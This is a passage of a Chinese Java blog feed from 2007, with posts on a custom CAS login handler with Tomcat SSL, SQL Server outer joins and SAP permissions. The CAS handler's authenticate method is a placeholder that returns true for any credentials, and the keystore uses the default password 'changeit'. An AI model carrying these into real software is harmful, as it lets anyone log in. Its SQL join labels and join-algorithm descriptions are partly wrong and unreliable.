<p>&nbsp;&nbsp;&nbsp;&nbsp; /**<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @param password The password to set.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;&nbsp; public final void setPassword(final String password) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.password = password;<br>&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; /**<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @return Returns the userName.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;&nbsp; public final String getUsername() {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.username;<br>&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; /**<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @param userName The userName to set.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;&nbsp; public final void setUsername(final String userName) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.username = userName;<br>&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; public String toString() {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.username;<br>&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; public boolean equals(final Object obj) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (obj == null || !obj.getClass().equals(this.getClass())) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; final EcardCredentials c = (EcardCredentials) obj;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.idtype.equals(c.getIdtype()) &amp;&amp; this.username.equals(c.getUsername())<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp; this.password.equals(c.getPassword());<br>&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; public int hashCode() {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.idtype.hashCode() ^ this.username.hashCode() ^ this.password.hashCode();<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>}</p>
<p><strong><font size=3>2. 部署自己的authenticationHandlers</font></strong></p>
<p><strong>deployerConfigContext.xml:</strong><br>&lt;property name="credentialsToPrincipalResolvers"&gt;<br>&nbsp;&nbsp;&nbsp; &lt;list&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp; &lt;bean<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class="com.nlcd.cas.authentication.principal.EcardCredentialsToPrincipalResolver" /&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp; &lt;bean<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class="org.jasig.cas.authentication.principal.HttpBasedServiceCredentialsToPrincipalResolver" /&gt;<br>&nbsp;&nbsp;&nbsp; &lt;/list&gt;<br>&nbsp;&nbsp; &lt;/property&gt;</p>
<p>&nbsp;&nbsp; &lt;property name="authenticationHandlers"&gt;<br>&nbsp;&nbsp;&nbsp; &lt;list&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp; &lt;bean class="org.jasig.cas.authentication.handler.support.HttpBasedServiceCredentialsAuthenticationHandler"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p:httpClient-ref="httpClient" /&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp; &lt;bean<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class="com.nlcd.cas.authentication.handler.support.EcardAuthenticationHandler" /&gt;<br>&nbsp;&nbsp;&nbsp; &lt;/list&gt;<br>&nbsp;&nbsp; &lt;/property&gt;</p>
<p><strong>EcardCredentialsToPrincipalResolver:</strong><br>import org.apache.commons.logging.Log;<br>import org.apache.commons.logging.LogFactory;<br>import org.jasig.cas.authentication.principal.CredentialsToPrincipalResolver;<br>import org.jasig.cas.authentication.principal.Credentials;<br>import org.jasig.cas.authentication.principal.Principal;<br>import org.jasig.cas.authentication.principal.SimplePrincipal;</p>
<p>public final class EcardCredentialsToPrincipalResolver implements<br>&nbsp;&nbsp;&nbsp;&nbsp; CredentialsToPrincipalResolver {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; /** Logging instance. */<br>&nbsp;&nbsp;&nbsp;&nbsp; private final Log log = LogFactory.getLog(getClass());</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; public Principal resolvePrincipal(final Credentials credentials) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; final EcardCredentials ecardCredentials = (EcardCredentials) credentials;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (log.isDebugEnabled()) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; log.debug("Creating SimplePrincipal for ["<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + ecardCredentials.getUsername() + "]");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return new SimplePrincipal(ecardCredentials.getUsername());<br>&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; public boolean supports(final Credentials credentials) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return credentials != null<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp; EcardCredentials.class.isAssignableFrom(credentials<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .getClass());<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>}</p>
<p><strong>EcardAuthenticationHandler:</strong><br>import org.jasig.cas.authentication.handler.AuthenticationException;<br>import org.jasig.cas.authentication.handler.AuthenticationHandler;<br>import org.jasig.cas.authentication.principal.Credentials;<br>import org.jasig.cas.util.annotation.NotNull;<br>import com.nlcd.cas.authentication.principal.EcardCredentials;</p>
<p>public final class EcardAuthenticationHandler implements AuthenticationHandler {</p>
<p>private static final Class&lt;EcardCredentials&gt; DEFAULT_CLASS = EcardCredentials.class;</p>
<p>/** Class that this instance will support. */<br>@NotNull<br>private Class&lt;?&gt; classToSupport = DEFAULT_CLASS;</p>
<p>private boolean supportSubClasses = true;</p>
<p>public EcardAuthenticationHandler() {<br>}</p>
<p>public final boolean authenticate(final Credentials credentials)<br>&nbsp;&nbsp;&nbsp; throws AuthenticationException {<br>&nbsp;&nbsp; //TODO: your code here<br>&nbsp;&nbsp; return true;<br>}</p>
<p>public final boolean supports(final Credentials credentials) {<br>&nbsp;&nbsp; return credentials != null<br>&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp; (this.classToSupport.equals(credentials.getClass()) || (this.classToSupport<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .isAssignableFrom(credentials.getClass()))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp; this.supportSubClasses);<br>}<br>}</p>
<p><strong><font size=3>3. 配置Tomcat使用SSL安全认证</font></strong></p>
<p><strong>生成服务器端密钥:</strong><br>keytool -genkey -alias nlcdcas -keyalg RSA -keypass&nbsp;changeit -storepass&nbsp;changeit -keystore server.keystore<br>您的名字与姓氏是什么？<br>&nbsp; [192.168.61.56]：&nbsp; 192.168.61.56<br>您的组织单位名称是什么？<br>&nbsp; [nlce]：&nbsp; nlcd<br>您的组织名称是什么？<br>&nbsp; [Unknown]：&nbsp; nlcd<br>您所在的城市或区域名称是什么？<br>&nbsp; [Unknown]：&nbsp; beijing<br>您所在的州或省份名称是什么？<br>&nbsp; [Unknown]：&nbsp; beijing<br>该单位的两字母国家代码是什么<br>&nbsp; [Unknown]：&nbsp; cn<br>CN=192.168.61.56, OU=nlcd, O=nlcd, L=beijing, ST=beijing, C=cn 正确吗？<br>&nbsp; [否]：&nbsp; y</p>
<p><strong>生成服务器端证书:</strong><br>keytool -export -alias nlcdcas -storepass changeit&nbsp;-file server.cer -keystore server.keystore<br><br><strong><span>导入证书文件到</span><span>cacerts</span><span> 文件中:</span></strong><br><span>keytool -import -trustcacerts -alias server -file server.cer -keystore cacerts -storepass changeit</span></p>
<p><span><span>把</span><span>cacerts文件，拷贝到</span><span>&lt;JAVA_HOME&gt;\jre\lib\security目录下;server.keystore拷贝到Tomcat安装目录下</span></span></p>
<p><span><span><span>修改</span><span>Tomcat</span><span>的配置文件</span><span>server.xml</span><span>把以下补注释的内容打开</span></span></span></p>
<p><span>&lt;Connector port="8443" maxHttpHeaderSize="8192"</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>maxThreads="150" minSpareThreads="25" maxSpareThreads="75"</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>enableLookups="false" disableUploadTimeout="true"</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>acceptCount="100" scheme="https" secure="true"</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>clientAuth="false" sslProtocol="TLS" /&gt;</span></p>
<p><span>加入红字部份后的内容如下：</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>&lt;Connector port="8443" maxHttpHeaderSize="8192"</span><span> </span></p>
<p><font color=#ff0000><span>keystorePass="changeit" keystoreFile="/</span><span>server.keystore</span><span>"</span></font></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>maxThreads="150" minSpareThreads="25" maxSpareThreads="75"</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>enableLookups="false" disableUploadTimeout="true"</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>acceptCount="100" scheme="https" secure="true"</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>clientAuth="false" sslProtocol="TLS" /&gt;</span></p>
<img src ="http://www.blogjava.net/junky/aggbug/138136.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-08-20 13:58 <a href="http://www.blogjava.net/junky/archive/2007/08/20/138136.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL SERVER 关于外联接(Outer Join)及其他</title><link>http://www.blogjava.net/junky/archive/2007/07/12/129852.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 12 Jul 2007 07:44:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/12/129852.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/129852.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/12/129852.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/129852.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/129852.html</trackback:ping><description><![CDATA[<p><strong>一&nbsp;使用外联接</strong></p>
<p>　　以前在Oracle中用=(+)和(+)=来进行左外联接和右外联接；后来用SQL&nbsp;Server时用*=和=*进行外连接左外联接和右外联接；<br>现在决定用SQL-92的标准方法：[OUTER]&nbsp;JOIN，OUTER是可以省略的。</p>
<p>　　LEFT&nbsp;OUTER&nbsp;JOIN&nbsp;或&nbsp;LEFT&nbsp;JOIN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;表示左外联接&nbsp;</p>
<p>　　RIGHT&nbsp;OUTER&nbsp;JOIN&nbsp;或&nbsp;RIGHT&nbsp;JOIN&nbsp;&nbsp;&nbsp;表示左外联接&nbsp;</p>
<p>　　FULL&nbsp;OUTER&nbsp;JOIN&nbsp;或&nbsp;FULL&nbsp;JOIN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;表示左外联接</p>
<p>　　外联接的意思不用多说，我们都懂，但是JOIN到底怎么用呢？没有找到很好的资料，只能从例子中学习了：</p>
<p>　　1、这个例子也许没有实际意义，只是为了说明问题：</p>
<div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px">
<pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed">
<div><span style="COLOR: #000000">CREATE&nbsp;TABLE&nbsp;orders(order_id&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;firm_id&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;p_id&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">)
CREATE&nbsp;TABLE&nbsp;firms&nbsp;(firm_id&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;f_name&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">)
CREATE&nbsp;TABLE&nbsp;products(p_id&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;p_name&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">)
select&nbsp;a.order_id,&nbsp;b.f_name,&nbsp;c.p_name
from&nbsp;orders&nbsp;a&nbsp;left&nbsp;join&nbsp;firms&nbsp;b&nbsp;on&nbsp;a.firm_id&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;b.firm_id
left&nbsp;join&nbsp;products&nbsp;c&nbsp;on&nbsp;a.p_id&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;c.p_id</span></div>
</pre>
</div>
<p>　　说明：orders表是主表，先和从表firms进行左联接，再和从表products进行左联接。</p>
<p>　　判断是外联接中的主表还是从表主要看from从句中各个表在LEFT&nbsp;JOIN或RIGHT&nbsp;JOIN两边的位置：LEFT&nbsp;JOIN左边的表是主表，RIGHT&nbsp;JOIN右边的表是主表；</p>
<p>　　ON表达了两个表连接的条件，一般外联接是等值联接，不等值联接意义不大；</p>
<p>　　在多个表的连接中，一个表既可以做主表又同时可以做从表，为了说明这个问题，我们修改以上SQL为：</p>
<div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px">
<pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed">
<div><span style="COLOR: #000000">select&nbsp;a.order_id,&nbsp;b.f_name,&nbsp;c.p_name
from&nbsp;orders&nbsp;a&nbsp;left&nbsp;join&nbsp;firms&nbsp;b&nbsp;on&nbsp;a.firm_id&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;b.firm_id
right&nbsp;join&nbsp;products&nbsp;c&nbsp;on&nbsp;a.order_id&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;c.p_id</span></div>
</pre>
</div>
<p>　　这个SQL没有什么意义，但从中可以看出a表既是b的主表又是c的从表；到底怎么用，还是要根据实际情况来决定是左联接还是右联接；</p>
<p>　　那天，看到了这样一个例子：</p>
<div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px">
<pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed">
<div><span style="COLOR: #000000">create&nbsp;table&nbsp;tab1&nbsp;(c1&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;c2&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;c3&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">)
create&nbsp;table&nbsp;tab2&nbsp;(c1&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;c2&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;c3&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">)
create&nbsp;table&nbsp;tab3&nbsp;(c1&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;c2&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;c3&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">)
create&nbsp;table&nbsp;tab4&nbsp;(c1&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;c2&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">,&nbsp;c3&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">)
SELECT&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">
FROM&nbsp;tab1&nbsp;LEFT&nbsp;OUTER&nbsp;JOIN&nbsp;tab2&nbsp;ON&nbsp;tab1.c3&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;tab2.c3
left&nbsp;OUTER&nbsp;JOIN&nbsp;tab3&nbsp;right&nbsp;OUTER&nbsp;JOIN&nbsp;tab4
ON&nbsp;tab3.c1&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;tab4.c1
ON&nbsp;tab2.c3&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;tab4.c3</span></div>
</pre>
</div>
<p>　　这种用法还真少见，具体怎么个意思，还在理解中...我把它改写成：</p>
<div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px">
<pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed">
<div><span style="COLOR: #000000">SELECT&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">
FROM&nbsp;tab1&nbsp;left&nbsp;JOIN&nbsp;tab2&nbsp;ON&nbsp;tab1.c3&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;tab2.c3
LEFT&nbsp;OUTER&nbsp;JOIN&nbsp;tab4&nbsp;ON&nbsp;tab2.c3&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;tab4.c3
RIGHT&nbsp;OUTER&nbsp;JOIN&nbsp;tab3&nbsp;&nbsp;ON&nbsp;tab3.c1&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;tab4.c1</span></div>
</pre>
</div>
<p>　　也许它们是一个意思。我发现加个括号，看的更清楚一些（它是个嵌套）</p>
<div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px">
<pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed">
<div><span style="COLOR: #000000">SELECT&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">
FROM&nbsp;tab1&nbsp;LEFT&nbsp;OUTER&nbsp;JOIN&nbsp;tab2&nbsp;ON&nbsp;tab1.c3&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;tab2.c3
left&nbsp;OUTER&nbsp;JOIN
(tab3&nbsp;right&nbsp;OUTER&nbsp;JOIN&nbsp;tab4
ON&nbsp;tab3.c1&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;tab4.c1)
ON&nbsp;tab2.c3&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;tab4.c3</span></div>
</pre>
</div>
<p>　　<strong>二&nbsp;外联接中&nbsp;"ON&nbsp;+&nbsp;AND"&nbsp;与&nbsp;"ON&nbsp;+&nbsp;WHERE"&nbsp;的区别</strong></p>
<p>　　1、on条件是外联接时在生成临时表时使用的联结条件，不论从表是确定值还是NULL，主表所有的值都会出现；</p>
<p>　　如果再加上and条件；&nbsp;如果and条件引用的是主表的列，则对结果毫无影响，主表的所有纪录依然会全部出现；如果and条件引用的是从表的列，则不符合条件的从表纪录显示NULL；</p>
<p>　　2、where条件是在临时表生成后，再对临时表进行过滤的条件。临时表中的所有纪录都受影响，不符合条件的纪录被过滤出结果集；</p>
<p>　　3、示例：</p>
<div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px">
<pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed">
<div><span style="COLOR: #000000">select&nbsp;a.module_id,&nbsp;a.name,&nbsp;b.module_name
from&nbsp;fb_autocoding&nbsp;a&nbsp;left&nbsp;join&nbsp;fb_app_module&nbsp;b
on&nbsp;a.module_id&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;b.module_id
and&nbsp;b.module_internal_label&nbsp;</span><span style="COLOR: #000000">&lt;&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">LO</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">;
select&nbsp;a.module_id,&nbsp;a.name,&nbsp;b.module_name
from&nbsp;fb_autocoding&nbsp;a&nbsp;left&nbsp;join&nbsp;fb_app_module&nbsp;b
on&nbsp;a.module_id&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;b.module_id
where&nbsp;b.module_internal_label&nbsp;</span><span style="COLOR: #000000">&lt;&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">LO</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">;
</span></div>
</pre>
</div>
<p>　　<strong>三&nbsp;其他Join运算</strong></p>
<p>　　merge&nbsp;join：在处理其他联结之前，先把相关两个表联结在一起；</p>
<p>　　hash&nbsp;join：把一个表join到已经被执行过join的结果上；</p>
<p>　　用括号改变join的顺序：</p>
<div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px">
<pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed">
<div><span style="COLOR: #000000">select&nbsp;catalog.item,&nbsp;catalog.item_color,&nbsp;product.item,&nbsp;color.color_name
from&nbsp;catalog&nbsp;full&nbsp;outer&nbsp;join&nbsp;(product&nbsp;cross&nbsp;join&nbsp;color)
on&nbsp;catalog.item&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;product.item
and&nbsp;catalog.item_color&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;color.color_name;</span></div>
</pre>
</div>
<div style="DISPLAY: none">1</div>
<img src ="http://www.blogjava.net/junky/aggbug/129852.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-12 15:44 <a href="http://www.blogjava.net/junky/archive/2007/07/12/129852.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SAP 用户权限</title><link>http://www.blogjava.net/junky/archive/2007/07/11/129697.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Wed, 11 Jul 2007 13:04:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/11/129697.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/129697.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/11/129697.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/129697.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/129697.html</trackback:ping><description><![CDATA[<div class=storytext>
<p>用户权限解剖:</p>
<p>通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的prifile name, <br>记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?</p>
<br>
<p>首先明白几个概念.<br>1.activity<br>这样说吧,我们从activity谈起,activity是什么意思这个你查下<br>字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,<br>不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的.<br>这些东西当年德国佬是写在tobj表中的.<br>activity 也是可分activity group的.</p>
<p>2.activity category &amp;Authorization group<br>&nbsp; Role Vs Profile<br>你看看表T020就知道了,就是什么K,D, A, M什么的.</p>
<p>profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,<br>权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产<br>生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.</p>
<p>role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个<br>用户,我没有任何role,但是加如SAP_All profile<br>也是可做任何事情.<br>SAP本身有很多default role &amp; profile.</p>
<p><br>3.最常用的PFCG-&gt;authorizations-&gt;change authorization data-&gt;<br>进入后选取selection criteria 可看到所有的authorization object<br>manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就<br>知道缺少哪个authorization objec,然后手工加入就可以.<br>你选去authorization levels就可by account type再细分权限.<br>有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.</p>
<p>那么SAP是如何做到权限控制的呢,屠夫就用到小宰一下.</p>
<p>4.关于权限方面的几个t-code.</p>
